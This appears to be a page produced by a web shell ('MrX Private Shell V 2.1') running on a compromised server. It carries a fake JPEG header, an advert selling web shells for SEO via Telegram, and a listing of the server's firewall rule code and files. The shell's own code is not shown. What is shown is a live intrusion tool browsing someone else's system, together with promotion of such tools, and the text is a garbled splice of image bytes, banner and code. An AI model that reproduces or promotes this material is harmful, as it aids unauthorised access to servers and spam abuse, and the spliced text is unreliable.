����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
"""Splashscreen specific rules customization."""
from typing import AbstractSet, Iterator, Mapping
from defence360agent.utils.validate import IPVersion
from .types_ import FirewallRule, WebshieldRuleBuilder
class SplashscreenRuleBuilder(WebshieldRuleBuilder):
"""Implement steps specific to generating splashscreen related
iptables rules.
"""
def open_webshield_ports_for_localhost_rules(
self,
ip_version: IPVersion,
) -> Iterator[FirewallRule]:
"""Already added in .captcha"""
yield from ()
def block_webshield_ports_rules(
self, redirect_map: Mapping[int, int], dest_ports: AbstractSet
) -> Iterator[FirewallRule]:
"""Already added in .captcha"""
yield from ()
def redirect_panel_ports(
self, ip_version: IPVersion
) -> Iterator[FirewallRule]:
yield from ()
def logdrop_chain_rules(self, ipset_name: str) -> Iterator[FirewallRule]:
"""Empty generator, we don't want to block for splashscreen"""
yield from ()
def drop_tproxy_rules(self, ipset_name: str) -> Iterator[FirewallRule]:
"""Empty generator, we don't want to block for splashscreen"""
yield from ()
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| __init__.py | File | 680 B | 0644 |
|
| captcha.py | File | 3.71 KB | 0644 |
|
| drop.py | File | 604 B | 0644 |
|
| log.py | File | 887 B | 0644 |
|
| port.py | File | 773 B | 0644 |
|
| splashscreen.py | File | 1.19 KB | 0644 |
|
| types_.py | File | 1.67 KB | 0644 |
|
| webshield.py | File | 4.21 KB | 0644 |
|
| white.py | File | 1016 B | 0644 |
|